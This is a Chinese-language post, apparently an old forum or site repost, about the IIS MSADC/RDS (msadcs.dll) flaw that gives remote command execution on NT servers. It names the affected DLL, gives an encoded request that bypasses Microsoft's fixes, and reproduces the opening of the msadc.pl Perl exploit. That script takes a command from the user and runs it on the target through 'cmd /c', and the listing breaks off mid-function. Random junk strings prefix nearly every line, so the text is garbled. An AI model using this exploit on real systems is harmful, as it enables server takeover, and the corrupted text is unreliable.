IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
VoM6 Sy 涉及程序:
. :a<2sp6 Microsoft NT server
TBnvV 5_ K&dT(U 描述:
DW|vMpU]u 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
$P nLG]X 2+:'0Krc 详细:
,{8v4b- 如果你没有时间读详细内容的话,就删除:
OKAkl c:\Program Files\Common Files\System\Msadc\msadcs.dll
#wjH4DT 有关的安全问题就没有了。
u-szt ? O| '$[Di'*; 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
`Mk4sKU\a qfrNi1\9- 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
[!~}S 关于利用ODBC远程漏洞的描述,请参看:
q@ZlJ3%l, M{E{N K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm NXI[q'y hcyO97@r 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
S-!=NX&C http://www.microsoft.com/security/bulletins/MS99-025faq.asp 0
iRR{a< [PWL<t::c 这里不再论述。
Q["t eo]DQ si(cOCj/ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
($>XIb9f [s}/nu~U /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n8u*JeN 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!ni>\lZ #epy%> `R+,1"5 = #将下面这段保存为txt文件,然后: "perl -x 文件名"
[@G`Afaf aWGon]2p #!perl
OCK>%o$[ #
BQ#L+9% # MSADC/RDS 'usage' (aka exploit) script
m@\ZHbq #
re`t ]gzb # by rain.forest.puppy
0^&!6R #
2|{V,!/cvG # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x8"#!Pw:`" # beta test and find errors!
N wtg%; `@XehSQ use Socket; use Getopt::Std;
c!wtf,F getopts("e:vd:h:XR", \%args);
cj
g.lzYH .Dw,"VHP print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!9 f4R/ ? c-8!#~M( if (!defined $args{h} && !defined $args{R}) {
z<&m*0WYA print qq~
wC`
R>) Usage: msadc.pl -h <host> { -d <delay> -X -v }
1mH\k5xu -h <host> = host you want to scan (ip or domain)
SlaDt -d <seconds> = delay between calls, default 1 second
zOB=aG?/ -X = dump Index Server path table, if available
A'-_TFwW -v = verbose
c\.P/~ -e = external dictionary file for step 5
Fn+?u v}[dnG Or a -R will resume a command session
&leK}je [ ,}J_:\j ~; exit;}
50n}my'2h z-,VnhLx $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
a$JLc a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\ZH&LPAY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
XvKFPr0~ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
GwLFL.Ke $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o#D.9K( if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JhX=l-? yI)~]K
r if (!defined $args{R}){ $ret = &has_msadc;
6rX_-Mm6w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
s>%Pd7: T):SGW print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1RqgMMJL . "cmd /c ";
,t,wy37*D $in=<STDIN>; chomp $in;
k;Fh4Hv $command="cmd /c " . $in ;
\40YGFO &.N$ if (defined $args{R}) {&load; exit;}
bx}fj#J]En p#@Z$gTH`' print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
O#_b7i &try_btcustmr;
shgAhx `xz&Scil print "\nStep 2: Trying to make our own DSN...";
\x+3f &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2]WE({P uf' 4' print "\nStep 3: Trying known DSNs...";
76H!)={ &known_dsn;
.p&Yr%~ n&Yk< print "\nStep 4: Trying known .mdbs...";
]Pc^#=(R0 &known_mdb;
A3{0q>CC m,_d^ if (defined $args{e}){
%XTA;lrz print "\nStep 5: Trying dictionary of DSN names...";
<@uOCRbV &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
la^
DjHA$ vkcRm`. print "Sorry Charley...maybe next time?\n";
]}PV"|#K{c exit;
H0*,8i5I @pza>^wk ##############################################################################
JPx7EEkZR4 v:|(8Y sub sendraw { # ripped and modded from whisker
)qU7`0'8 sleep($delay); # it's a DoS on the server! At least on mine...
(@sp/:`6 my ($pstr)=@_;
R,_d1^|*w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>e&